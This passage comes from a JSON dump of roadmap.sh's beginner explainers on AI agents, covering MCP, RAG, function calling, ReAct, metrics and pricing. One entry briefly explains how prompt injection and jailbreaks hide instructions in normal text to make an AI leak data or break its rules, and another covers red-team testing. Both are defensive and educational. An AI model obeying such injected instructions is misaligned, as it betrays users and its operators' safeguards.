    "content": "# MCP Client\n\nThe MCP Client is the part of an AI agent that talks to the language model API. It collects messages, files, and tool signals, packs them using the Model Context Protocol, and sends them to the model. When a reply comes back, it unpacks it, checks the format, and passes the result to other modules. It also tracks token usage, filters private data, retries failed calls, and logs important events for debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Model Context Protocol](https://modelcontextprotocol.io/introduction)\n- [@official@OpenAI API Reference](https://platform.openai.com/docs/api-reference)\n- [@official@Anthropic API Documentation](https://docs.anthropic.com/claude/reference)\n- [@opensource@Model Context Protocol](https://github.com/modelcontextprotocol/modelcontextprotocol)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/mcp-hosts@9FryAIrWRHh8YlzKX3et5.md",
    "content": "# MCP Hosts\n\nMCP Hosts are computers or services that run the Model Context Protocol. They handle incoming calls, load the MCP manifest, check requests, and pass data between users, tools, and language models. Hosts may cache recent messages, track token usage, and add safety or billing checks before sending prompts to the model. They expose an API endpoint so apps can connect easily. You can run a host on your laptop for testing or deploy it on cloud platforms for scale. The host acts as the trusted bridge where agents, tools, and data meet.\n\nVisit the following resources to learn more:\n\n- [@official@Vercel Serverless Hosting](https://vercel.com/docs)\n- [@opensource@punkeye/awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers)\n- [@article@The Ultimate Guide to MCP](https://guangzhengli.com/blog/en/model-context-protocol)\n- [@article@AWS MCP Servers for Code Assistants](https://aws.amazon.com/blogs/machine-learning/introducing-aws-mcp-servers-for-code-assistants-part-1/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/mcp-servers@yv_-87FVM7WKn5iv6LW9q.md",
    "content": "# MCP Servers\n\nAn MCP Server is the main machine or cloud service that runs the Model Context Protocol. It keeps the shared “memory” that different AI agents need so they stay on the same page. When an agent sends a request, the server checks who is asking, pulls the right context from its store, and sends it back fast. It also saves new facts and task results so the next agent can use them. An MCP Server must handle many users at once, protect private data with strict access rules, and log every change for easy roll-back. Good servers break work into small tasks, spread them across many computers, and add backups so they never lose data. In short, the MCP Server is the hub that makes sure all agents share fresh, safe, and correct context.\n\nVisit the following resources to learn more:\n\n- [@opensource@punkeye/awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers)\n- [@article@Introducing the Azure MCP Server ](https://devblogs.microsoft.com/azure-sdk/introducing-the-azure-mcp-server/)\n- [@article@The Ultimate Guide to MCP](https://guangzhengli.com/blog/en/model-context-protocol)\n- [@article@AWS MCP Servers for Code Assistants](https://aws.amazon.com/blogs/machine-learning/introducing-aws-mcp-servers-for-code-assistants-part-1/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/metrics-to-track@v8qLnyFRnEumodBYxQSXQ.md",
    "content": "# Metrics to Track\n\nTo judge how well an AI agent works, you need clear numbers. Track accuracy, precision, recall, and F1 score to measure correctness. For ranking tasks, use metrics like mean average precision or ROC-AUC. If users interact with the agent, monitor response time, latency, and failure rates. Safety metrics count toxic or biased outputs, while robustness tests check how the agent handles messy or tricky inputs. Resource metrics—memory, CPU, and energy—show if it can scale. Pick the metrics that match your goal, compare against a baseline, and track trends across versions.\n\nVisit the following resources to learn more:\n\n- [@article@Robustness Testing for AI](https://mitibmwatsonailab.mit.edu/category/robustness/)\n- [@article@Complete Guide to Machine Learning Evaluation Metrics](https://medium.com/analytics-vidhya/complete-guide-to-machine-learning-evaluation-metrics-615c2864d916)\n- [@article@Measuring Model Performance](https://developers.google.com/machine-learning/crash-course/classification/accuracy)\n- [@article@A Practical Framework for (Gen)AI Value Measurement](https://medium.com/google-cloud/a-practical-framework-for-gen-ai-value-measurement-5fccf3b66c43)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/model-context-protocol-mcp@1B0IqRNYdtbHDi1jHSXuI.md",
    "content": "# Model Context Protocol (MCP)\n\nModel Context Protocol (MCP) is a rulebook that tells an AI agent how to pack background information before it sends a prompt to a language model. It lists what pieces go into the prompt—things like the system role, the user’s request, past memory, tool calls, or code snippets—and fixes their order. Clear tags mark each piece, so both humans and machines can see where one part ends and the next begins. Keeping the format steady cuts confusion, lets different tools work together, and makes it easier to test or swap models later. When agents follow MCP, the model gets a clean, complete prompt and can give better answers.\n\nVisit the following resources to learn more:\n\n- [@course@MCP: Build Rich-Context AI Apps with Anthropic](https://www.deeplearning.ai/short-courses/mcp-build-rich-context-ai-apps-with-anthropic/)\n- [@official@Model Context Protocol](https://modelcontextprotocol.io/introduction)\n- [@opensource@Model Context Protocol](https://github.com/modelcontextprotocol/modelcontextprotocol)\n- [@article@Introducing the Azure MCP Server ](https://devblogs.microsoft.com/azure-sdk/introducing-the-azure-mcp-server/)\n- [@article@The Ultimate Guide to MCP](https://guangzhengli.com/blog/en/model-context-protocol)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/npc--game-ai@ok8vN7VtCgyef5x6aoQaL.md",
    "content": "# NPC / Game AI\n\nGame studios use AI agents to control non-player characters (NPCs). The agent observes the game state and decides actions like moving, speaking, or fighting. It can shift tactics when the player changes strategy, keeping battles fresh instead of predictable. A quest giver might use an agent to offer hints that fit the player’s progress. In open-world games, agents guide crowds to move around obstacles, set new goals, and react to threats, making towns feel alive. Designers save time by writing broad rules and letting agents fill in details instead of hand-coding every scene. Smarter NPC behavior keeps players engaged and boosts replay value.\n\nVisit the following resources to learn more:\n\n- [@official@Unity – AI for NPCs](https://dev.epicgames.com/documentation/en-us/unreal-engine/artificial-intelligence-in-unreal-engine?application_version=5.3)\n- [@article@AI-Driven NPCs: The Future of Gaming Explained](https://www.capermint.com/blog/everything-you-need-to-know-about-non-player-character-npc/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/observation--reflection@ZJTrun3jK3zBGOTm1jdMI.md",
    "content": "# Observation & Reflection\n\nObservation and reflection form the thinking pause in an AI agent’s loop. First, the agent looks at the world around it, gathers fresh data, and sees what has changed. It then pauses to ask, “What does this new information mean for my goal?” During this short check, the agent updates its memory, spots errors, and ranks what matters most. These steps guide wiser plans and actions in the next cycle. Without careful observation and reflection, the agent would rely on old or wrong facts and soon drift off course.\n\nVisit the following resources to learn more:\n\n- [@official@Best Practices for Prompting and Self-checking](https://platform.openai.com/docs/guides/prompt-engineering)\n- [@article@Self-Reflective AI: Building Agents That Learn by Observing Themselves](https://arxiv.org/abs/2302.14045)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/open-weight-models@DSJAhQhc1dQmBHQ8ZkTau.md",
    "content": "# Open Weight Models\n\nOpen-weight models are neural networks whose trained parameters, also called weights, are shared with everyone. Anyone can download the files, run the model, fine-tune it, or build tools on top of it. The licence that comes with the model spells out what you are allowed to do. Some licences are very permissive and even let you use the model for commercial work. Others allow only research or personal projects. Because the weights are public, the community can inspect how the model works, check for bias, and suggest fixes. Open weights also lower costs, since teams do not have to train a large model from scratch. Well-known examples include BLOOM, Falcon, and Llama 2.\n\nVisit the following resources to learn more:\n\n- [@official@BLOOM BigScience](https://bigscience.huggingface.co/)\n- [@official@Falcon LLM – Technology Innovation Institute (TII)](https://falconllm.tii.ae/)\n- [@official@Llama 2 – Meta's Official Announcement](https://ai.meta.com/llama/)\n- [@official@Hugging Face – Open LLM Leaderboard (Top Open Models)](https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard)\n- [@official@EleutherAI – Open Research Collective (GPT-Neo, GPT-J, etc.)](https://www.eleuther.ai/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/openai-assistant-api@37GBFVZ2J2d5r8bd1ViHq.md",
    "content": "# OpenAI Assistant API\n\nThe OpenAI Assistants API lets you add clear, task-specific actions to a chat with a large language model. You first describe each action you want the model to use, giving it a name, a short purpose, and a list of inputs in JSON form. During the chat, the model may decide that one of these actions will help. It then returns the name of the action and a JSON object with the input values it thinks are right. Your code receives this call, runs real work such as a database query or a web request, and sends the result back to the model. The model reads the result and continues the chat, now armed with fresh facts. This loop lets you keep control of what real work happens while still letting the model plan and talk in natural language.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Documentation – Assistants API Overview](https://platform.openai.com/docs/assistants/overview)\n- [@official@OpenAI Blog – Introducing the Assistants API](https://openai.com/blog/assistants-api)\n- [@official@OpenAI Cookbook – Assistants API Example](https://github.com/openai/openai-cookbook/blob/main/examples/Assistants_API_overview_python.ipynb)\n- [@official@OpenAI API Reference – Assistants Endpoints](https://platform.openai.com/docs/api-reference/assistants)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/openai-functions-calling@AQtxTTxmBpfl8BMgJbGzc.md",
    "content": "# OpenAI Functions Calling\n\nOpenAI Function Calling lets you give a language model a list of tools and have it decide which one to use and with what data. You describe each tool with a short name, what it does, and the shape of its inputs in a small JSON-like schema. You then pass the user message and this tool list to the model. Instead of normal text, the model can reply with a JSON block that names the tool and fills in the needed arguments. Your program reads this block, runs the real function, and can send the result back for the next step. This pattern makes agent actions clear, easy to parse, and hard to abuse, because the model cannot run code on its own and all calls go through your checks. It also cuts down on prompt hacks and wrong formats, so agents work faster and more safely.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Documentation – Function Calling](https://platform.openai.com/docs/guides/function-calling)\n- [@official@OpenAI Cookbook – Using Functions with GPT Models](https://github.com/openai/openai-cookbook/blob/main/examples/How_to_call_functions_with_chat_models.ipynb)\n- [@article@@officialOpenAI Blog – Announcing Function Calling and Other Updates](https://openai.com/blog/function-calling-and-other-api-updates)\n- [@article@@officialOpenAI API Reference – Functions Section](https://platform.openai.com/docs/api-reference/chat/create#functions)\n- [@article@@officialOpenAI Community – Discussions and Examples on Function Calling](https://community.openai.com/tag/function-calling)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/openllmetry@7UqPXUzqKYXklnB3x-tsv.md",
    "content": "# openllmetry\n\nopenllmetry is a small Python library that makes it easy to watch what your AI agent is doing and how well it is working. It wraps calls to large-language-model APIs, vector stores, and other tools, then sends logs, traces, and simple metrics to any backend that speaks the OpenTelemetry standard, such as Jaeger, Zipkin, or Grafana. You add one or two lines of code at start-up, and the library captures prompt text, model name, latency, token counts, and costs each time the agent asks the model for an answer. The data helps you spot slow steps, high spend, or bad answers, and it lets you play back full traces to debug agent chains. Because it follows OpenTelemetry, you can mix these AI traces with normal service traces and see the whole flow in one place.\n\nVisit the following resources to learn more:\n\n- [@official@OpenTelemetry Documentation](https://www.traceloop.com/blog/openllmetry)\n- [@official@What is OpenLLMetry? - traceloop](https://www.traceloop.com/docs/openllmetry/introduction)\n- [@official@Use Traceloop with Python](https://www.traceloop.com/docs/openllmetry/getting-started-python)\n- [@opensource@traceloop/openllmetry](https://github.com/traceloop/openllmetry)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/perception--user-input@LU76AhCYDjxdBhpMQ4eMU.md",
    "content": "# Perception / User Input\n\nPerception, also called user input, is the first step in an agent loop. The agent listens and gathers data from the outside world. This data can be text typed by a user, spoken words, camera images, sensor readings, or web content pulled through an API. The goal is to turn raw signals into a clear, usable form. The agent may clean the text, translate speech to text, resize an image, or drop noise from sensor values. Good perception means the agent starts its loop with facts, not guesses. If the input is wrong or unclear, later steps will also fail. So careful handling of perception keeps the whole agent loop on track.\n\nVisit the following resources to learn more:\n\n- [@article@Perception in AI: Understanding Its Types and Importance](https://marktalks.com/perception-in-ai-understanding-its-types-and-importance/)\n- [@article@What Is AI Agent Perception? - IBM](https://www.ibm.com/think/topics/ai-agent-perception)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/personal-assistant@PPdAutqJF5G60Eg9lYBND.md",
    "content": "# Personal assistant\n\nA personal assistant AI agent is a smart program that helps one person manage daily tasks. It can check a calendar, set reminders, and send alerts so you never miss a meeting. It can read emails, highlight key points, and even draft quick replies. If you ask a question, it searches trusted sources and gives a short answer. It can order food, book rides, or shop online when you give simple voice or text commands. Because it learns your habits, it suggests the best time to work, rest, or travel. All these actions run in the background, saving you time and reducing stress.\n\nVisit the following resources to learn more:\n\n- [@article@A Complete Guide on AI-powered Personal Assistants](https://medium.com/@alexander_clifford/a-complete-guide-on-ai-powered-personal-assistants-with-examples-2f5cd894d566)\n- [@article@9 Best AI Personal Assistants for Work, Chat and Home](https://saner.ai/best-ai-personal-assistants/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/planner-executor@6YLCMWzystao6byCYCTPO.md",
    "content": "# Planner Executor\n\nA **planner-executor agent** is a type of AI agent that splits its work into two clear parts: planning and execution. The **planner** thinks ahead, taking a goal and breaking it down into a sequence of steps, ordering them in a logical and efficient manner. The **executor**, on the other hand, takes each planned step and carries it out, monitoring the results and reporting back to the planner. If something fails or the world changes, the planner may update the plan, and the executor follows the new steps. This modular approach allows the agent to handle complex tasks by dividing them into manageable parts, making it easier to debug, reuse plans, and maintain clear and consistent behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Plan-and-Execute Agents](https://blog.langchain.dev/planning-agents/)\n- [@article@Plan and Execute: AI Agents Architecture](https://medium.com/@shubham.ksingh.cer14/plan-and-execute-ai-agents-architecture-f6c60b5b9598)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/presence-penalty@Vd8ycw8pW-ZKvg5WYFtoh.md",
    "content": "# Presence Penalty\n\nPresence penalty is a setting you can adjust when you ask a large language model to write. It pushes the model to choose words it has not used yet. Each time a word has already appeared, the model gets a small score cut for picking it again. A higher penalty gives bigger cuts, so the model looks for new words and fresh ideas. A lower penalty lets the model reuse words more often, which can help with repeats like rhymes or bullet lists. Tuning this control helps you steer the output toward either more variety or more consistency.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Presence Penalty and Frequency Penalty](https://medium.com/@pushparajgenai2025/understanding-presence-penalty-and-frequency-penalty-in-openai-chat-completion-api-calls-2e3a22547b48)\n- [@article@Difference between Frequency and Presence Penalties?](https://community.openai.com/t/difference-between-frequency-and-presence-penalties/2777)\n- [@article@LLM Parameters Explained: A Practical Guide with Examples](https://learnprompting.org/blog/llm-parameters)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/pricing-of-common-models@B8dzg61TGaknuruBgkEJd.md",
    "content": "# Pricing of Common Models\n\nWhen you use a large language model, you usually pay by the amount of text it reads and writes, counted in “tokens.” A token is about four characters or three-quarters of a word. Providers list a price per 1,000 tokens. For example, GPT-3.5 Turbo may cost around $0.002 per 1,000 tokens, while GPT-4 is much higher, such as $0.03 to $0.06 for prompts and $0.06 to $0.12 for replies. Smaller open-source models like Llama-2 can be free to use if you run them on your own computer, but you still pay for the hardware or cloud time. Vision or audio models often have extra fees because they use more compute. When planning costs, estimate the tokens in each call, multiply by the price, and add any hosting or storage charges.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Pricing](https://openai.com/api/pricing/)\n- [@article@Executive Guide To AI Agent Pricing](https://www.forbes.com/councils/forbesbusinesscouncil/2025/01/28/executive-guide-to-ai-agent-pricing-winning-strategies-and-models-to-drive-growth/)\n- [@article@AI Pricing: How Much Does Artificial Intelligence Cost In 2025?](https://www.internetsearchinc.com/ai-pricing-how-much-does-artificial-intelligence-cost/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/prompt-injection--jailbreaks@SU2RuicMUo8tiAsQtDI1k.md",
    "content": "# Prompt Injection / Jailbreaks\n\nPrompt injection, also called a jailbreak, is a trick that makes an AI system break its own rules. An attacker hides special words or symbols inside normal-looking text. When the AI reads this text, it follows the hidden instructions instead of its safety rules. The attacker might force the AI to reveal private data, produce harmful content, or give wrong advice. This risk grows when the AI talks to other software or pulls text from the internet, because harmful prompts can slip in without warning. Good defenses include cleaning user input, setting strong guardrails inside the model, checking outputs for policy breaks, and keeping humans in the loop for high-risk tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Prompt Injection vs. Jailbreaking: What's the Difference?](https://learnprompting.org/blog/injection_jailbreaking)\n- [@article@Prompt Injection vs Prompt Jailbreak](https://codoid.com/ai/prompt-injection-vs-prompt-jailbreak-a-detailed-comparison/)\n- [@article@How Prompt Attacks Exploit GenAI and How to Fight Back](https://unit42.paloaltonetworks.com/new-frontier-of-genai-threats-a-comprehensive-guide-to-prompt-attacks/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/provide-additional-context@6I42CoeWX-kkFXTKAY7rw.md",
    "content": "# Provide additional context\n\nProvide additional context means giving the AI enough background facts, constraints, and goals so it can reply in the way you need. Start by naming the topic and the purpose of the answer. Add who the answer is for, the tone you want, and any limits such as length, format, or style. List key facts, data, or examples that matter to the task. This extra detail stops the model from guessing and keeps replies on target. Think of it like guiding a new teammate: share the details they need, but keep them short and clear.\n\nVisit the following resources to learn more:\n\n- [@article@What is Context in Prompt Engineering?](https://www.godofprompt.ai/blog/what-is-context-in-prompt-engineering)\n- [@article@The Importance of Context for Reliable AI Systems](https://medium.com/mathco-ai/the-importance-of-context-for-reliable-ai-systems-and-how-to-provide-context-009bd1ac7189/)\n- [@article@Context Engineering: Why Feeding AI the Right Context Matters](https://inspirednonsense.com/context-engineering-why-feeding-ai-the-right-context-matters-353e8f87d6d3)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/rag-agent@cW8O4vLLKEG-Q0dE8E5Zp.md",
    "content": "# RAG Agent\n\nA RAG (Retrieval-Augmented Generation) agent mixes search with language generation so it can answer questions using fresh and reliable facts. When a user sends a query, the agent first turns that query into an embedding—basically a number list that captures its meaning. It then looks up similar embeddings in a vector database that holds passages from web pages, PDFs, or other text. The best-matching passages come back as context. The agent puts the original question and those passages into a large language model. The model writes the final reply, grounding every sentence in the retrieved text. This setup keeps the model smaller, reduces wrong guesses, and lets the system update its knowledge just by adding new documents to the database. Common tools for building a RAG agent include an embedding model, a vector store like FAISS or Pinecone, and an LLM connected through a framework such as LangChain or LlamaIndex.\n\nVisit the following resources to learn more:\n\n- [@article@What is RAG? - Retrieval-Augmented Generation AI Explained](https://aws.amazon.com/what-is/retrieval-augmented-generation/)\n- [@article@What Is Retrieval-Augmented Generation, aka RAG?](https://blogs.nvidia.com/blog/what-is-retrieval-augmented-generation/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/rag-and-vector-databases@wkS4yOJ3JdZQE_yBID8K7.md",
    "content": "# RAG and Vector Databases\n\nRAG, short for Retrieval-Augmented Generation, lets an AI agent pull facts from stored data each time it answers. The data sits in a vector database. In that database, every text chunk is turned into a number list called a vector. Similar ideas create vectors that lie close together, so the agent can find related chunks fast. When the user asks a question, the agent turns the question into its own vector, finds the nearest chunks, and reads them. It then writes a reply that mixes the new prompt with those chunks. Because the data store can hold a lot of past chats, documents, or notes, this process gives the agent a working memory without stuffing everything into the prompt. It lowers token cost, keeps answers on topic, and allows the memory to grow over time.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Retrieval-Augmented Generation (RAG) and Vector Databases](https://pureai.com/Articles/2025/03/03/Understanding-RAG.aspx)\n- [@article@Build Advanced Retrieval-Augmented Generation Systems](https://learn.microsoft.com/en-us/azure/developer/ai/advanced-retrieval-augmented-generation)\n- [@article@What Is Retrieval-Augmented Generation, aka RAG?](https://blogs.nvidia.com/blog/what-is-retrieval-augmented-generation/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/ragas@YzEDtGEaMaMWVt0W03HRt.md",
    "content": "# Ragas\n\nRagas is an open-source tool used to check how well a Retrieval-Augmented Generation (RAG) agent works. You give it the user question, the passages the agent pulled from a knowledge base, and the final answer. Ragas then scores the answer for things like correctness, relevance, and whether the cited passages really support the words in the answer. It uses large language models under the hood, so you do not need to write your own scoring rules. Results appear in a clear report that shows strong and weak spots in the pipeline. With this feedback you can change prompts, retriever settings, or model choices and quickly see if quality goes up. This makes testing RAG systems faster, repeatable, and less guess-based.\n\nVisit the following resources to learn more:\n\n- [@official@Ragas Documentation](https://docs.ragas.io/en/latest/)\n- [@opensource@explodinggradients/ragas](https://github.com/explodinggradients/ragas)\n- [@article@Evaluating RAG Applications with RAGAs](https://towardsdatascience.com/evaluating-rag-applications-with-ragas-81d67b0ee31a/n)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/react-reason--act@53xDks6JQ33fHMa3XcuCd.md",
    "content": "# ReAct (Reason + Act)\n\nReAct is an agent pattern that makes a model alternate between two simple steps: Reason and Act. First, the agent writes a short thought that sums up what it knows and what it should try next. Then it performs an action such as calling an API, running code, or searching a document. The result of that action is fed back, giving the agent fresh facts to think about. This loop repeats until the task is done. By showing its thoughts in plain text, the agent can be inspected, debugged, and even corrected on the fly. The clear split between thinking and doing also cuts wasted moves and guides the model toward steady progress. ReAct works well with large language models because they can both generate the chain of thoughts and choose the next tool in the very same response.\n\nVisit the following resources to learn more:\n\n- [@official@ReAct: Synergizing Reasoning and Acting in Language Models](https://react-lm.github.io/)\n- [@article@ReAct Systems: Enhancing LLMs with Reasoning and Action](https://learnprompting.org/docs/agents/react)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/reason-and-plan@ycPRgRYR4lEBQr_xxHKnM.md",
    "content": "# Reason and Plan\n\nReason and Plan is the moment when an AI agent thinks before it acts. The agent starts with a goal and the facts it already knows. It looks at these facts and asks, “What do I need to do next to reach the goal?” It breaks the goal into smaller steps, checks if each step makes sense, and orders them in a clear path. The agent may also guess what could go wrong and prepare backup steps. Once the plan feels solid, the agent is ready to move on and take the first action.\n\nVisit the following resources to learn more:\n\n- [@official@ReAct: Synergizing Reasoning and Acting in Language Models](https://react-lm.github.io/)\n- [@article@ReAct Systems: Enhancing LLMs with Reasoning and Action](https://learnprompting.org/docs/agents/react)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/reasoning-vs-standard-models@N3yZfUxphxjiupqGpyaS9.md",
    "content": "# Reasoning vs Standard Models\n\nReasoning models break a task into clear steps and follow a line of logic, while standard models give an answer in one quick move. A reasoning model might write down short notes, check each note, and then combine them to reach the final reply. This helps it solve math problems, plan actions, and spot errors that simple pattern matching would miss. A standard model depends on patterns it learned during training and often guesses the most likely next word. That works well for everyday chat, summaries, or common facts, but it can fail on tricky puzzles or tasks with many linked parts. Reasoning takes more time and computer power, yet it brings higher accuracy and makes the agent easier to debug because you can see its thought steps. Many new AI agents mix both styles: they use quick pattern recall for simple parts and switch to step-by-step reasoning when a goal needs deeper thought.\n\nVisit the following resources to learn more:\n\n- [@official@ReAct: Synergizing Reasoning and Acting in Language Models](https://react-lm.github.io/)\n- [@article@ReAct Systems: Enhancing LLMs with Reasoning and Action](https://learnprompting.org/docs/agents/react)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/remote--cloud@dHNMX3_t1KSDdAWqgdJXv.md",
    "content": "# Remote / Cloud\n\nRemote or cloud deployment places the MCP server on a cloud provider instead of a local machine. You package the server as a container or virtual machine, choose a service like AWS, Azure, or GCP, and give it compute, storage, and a public HTTPS address. A load balancer spreads traffic, while auto-scaling adds or removes copies of the server as demand changes. You secure the endpoint with TLS, API keys, and firewalls, and you send logs and metrics to the provider’s monitoring tools. This setup lets the server handle many users, updates are easier, and you avoid local hardware limits, though you must watch costs and protect sensitive data.\n\nVisit the following resources to learn more:\n\n- [@official@Edge AI vs. Cloud AI: Real-Time Intelligence Models](https://medium.com/@hassaanidrees7/edge-ai-vs-cloud-ai-real-time-intelligence-vs-centralized-processing-df8c6e94fd11)\n- [@article@Cloud AI vs. On-premises AI](https://www.pluralsight.com/resources/blog/ai-and-data/ai-on-premises-vs-in-cloud)\n- [@article@Cloud vs On-Premises AI Deployment](https://toxigon.com/cloud-vs-on-premises-ai-deployment)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/rest-api-knowledge@QtTwecLdvQa8pgELJ6i80.md",
    "content": "# REST API Knowledge\n\nA **REST API** (Representational State Transfer) is an architectural style for designing networked applications. In AI agents, REST APIs enable communication between the agent and external systems, allowing for data exchange and integration. The agent can use REST APIs to retrieve data from external sources, send data to external systems, and interact with other AI agents or services. This provides a flexible and scalable way to integrate with various systems, enabling the agent to access a wide range of data and services. REST APIs in AI agents support a variety of functions, including data retrieval, data sending, and system interaction. They play a crucial role in facilitating communication between AI agents and external systems, making them a fundamental component of AI agent architecture.\n\nVisit the following resources to learn more:\n\n- [@article@What is RESTful API? - RESTful API Explained - AWS](https://aws.amazon.com/what-is/restful-api/)\n- [@article@What Is a REST API? Examples, Uses & Challenges ](https://blog.postman.com/rest-api-examples/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/safety--red-team-testing@63nsfJFO1BwjLX_ZVaPFC.md",
    "content": "# Safety + Red Team Testing\n\nSafety + Red Team Testing is the practice of checking an AI agent for harmful or risky behavior before and after release. Safety work sets rules, guardrails, and alarms so the agent follows laws, keeps data private, and treats people fairly. Red team testing sends skilled testers to act like attackers or troublemakers. They type tricky prompts, try to leak private data, force biased outputs, or cause the agent to give dangerous advice. Every weakness they find is logged and fixed by adding filters, better training data, stronger limits, or live monitoring. Running these tests often lowers the chance of real-world harm and builds trust with users and regulators.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated AI Red Teaming Roadmap](https://roadmap.sh/ai-red-teaming)\n- [@article@Enhancing AI safety: Insights and lessons from red teaming](https://www.microsoft.com/en-us/microsoft-cloud/blog/2025/01/14/enhancing-ai-safety-insights-and-lessons-from-red-teaming/)\n- [@article@AI Safety Testing in the Absence of Regulations](https://aisecuritycentral.com/ai-safety-testing/)\n- [@article@A Guide to AI Red Teaming - HiddenLayer](https://hiddenlayer.com/innovation-hub/a-guide-to-ai-red-teaming/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/short-term--memory@M3U6RfIqaiut2nuOibY8W.md",
    "content": "# Short Term  Memory\n\nShort term memory are the facts which are passed as a part of the prompt to the LLM e.g. there might be a prompt like below:\n\n    Users Profile:\n    - name: {name}\n    - age: {age}\n    - expertise: {expertise}\n    \n    User is currently learning about {current_topic}. User has some goals in mind which are:\n    - {goal_1}\n    - {goal_2}\n    - {goal_3}\n    \n    Help the user achieve the goals.\n    \n\nNotice how we injected the user's profile, current topic and goals in the prompt. These are all short term memories.\n\nVisit the following resources to learn more:\n\n- [@article@Memory Management in AI Agents](https://python.langchain.com/docs/how_to/chatbots_memory/)\n- [@article@Build Smarter AI Agents: Manage Short-term and Long-term Memory](https://redis.io/blog/build-smarter-ai-agents-manage-short-term-and-long-term-memory-with-redis/)\n- [@article@Storing and Retrieving Knowledge for Agents](https://www.pinecone.io/learn/langchain-retrieval-augmentation/)\n- [@article@Short-Term vs Long-Term Memory in AI Agents](https://adasci.org/short-term-vs-long-term-memory-in-ai-agents/)\n- [@video@Building Brain-Like Memory for AI Agents](https://www.youtube.com/watch?v=VKPngyO0iKg)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/smol-depot@eWxQiBrxIUG2JNcrdfIHS.md",
    "content": "# Smol Depot\n\nSmol Depot is an open-source kit that lets you bundle all the parts of a small AI agent in one place. You keep prompts, settings, and code files together in a single folder, then point the Depot tool at that folder to spin the agent up. The tool handles tasks such as loading models, saving chat history, and calling outside APIs, so you do not have to write that glue code yourself. A simple command can copy a starter template, letting you focus on the logic and prompts that make your agent special. Because everything lives in plain files, you can track changes with Git and share the agent like any other project.\n\nVisit the following resources to learn more:\n\n- [@official@smol.ai - Continuous Fine-tuning Platform for AI Engineers](https://smol.candycode.dev/)\n- [@article@5-min Smol AI Tutorial](https://www.ai-jason.com/learning-ai/smol-ai-tutorial)\n- [@video@Smol AI Full Beginner Course](https://www.youtube.com/watch?v=d7qFVrpLh34)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/specify-length-format-etc@wwHHlEoPAx0TLxbtY6nMA.md",
    "content": "# Specify Length & Format\n\nWhen you give a task to an AI, make clear how long the answer should be and what shape it must take. Say “Write 120 words” or “Give the steps as a numbered list.” If you need a table, state the column names and order. If you want bullet points, mention that. Telling the AI to use plain text, JSON, or markdown stops guesswork and saves time. Clear limits on length keep the reply focused. A fixed format makes it easier for people or other software to read and use the result. Always put these rules near the start of your prompt so the AI sees them as important.\n\nVisit the following resources to learn more:\n\n- [@article@Mastering Prompt Engineering: Format, Length, and Audience](https://techlasi.com/savvy/mastering-prompt-engineering-format-length-and-audience-examples-for-2024/)\n- [@article@Ultimate Guide to Prompt Engineering](https://promptdrive.ai/prompt-engineering/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/stopping-criteria@K0G-Lw069jXUJwZqHtybd.md",
    "content": "# Stopping Criteria\n\nStopping criteria tell the language model when to stop writing more text. Without them, the model could keep adding words forever, waste time, or spill past the point we care about. Common rules include a maximum number of tokens, a special end-of-sequence token, or a custom string such as `“\\n\\n”`. We can also stop when the answer starts to repeat or reaches a score that means it is off topic. Good stopping rules save cost, speed up replies, and avoid nonsense or unsafe content.\n\nVisit the following resources to learn more:\n\n- [@article@Defining Stopping Criteria in Large Language Models](https://www.metriccoders.com/post/defining-stopping-criteria-in-large-language-models-a-practical-guide)\n- [@article@Stopping Criteria for Decision Tree Algorithm and Tree Plots](https://aieagle.in/stopping-criteria-for-decision-tree-algorithm-and-tree-plots/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/streamed-vs-unstreamed-responses@i2NE6haX9-7mdoV5LQ3Ah.md",
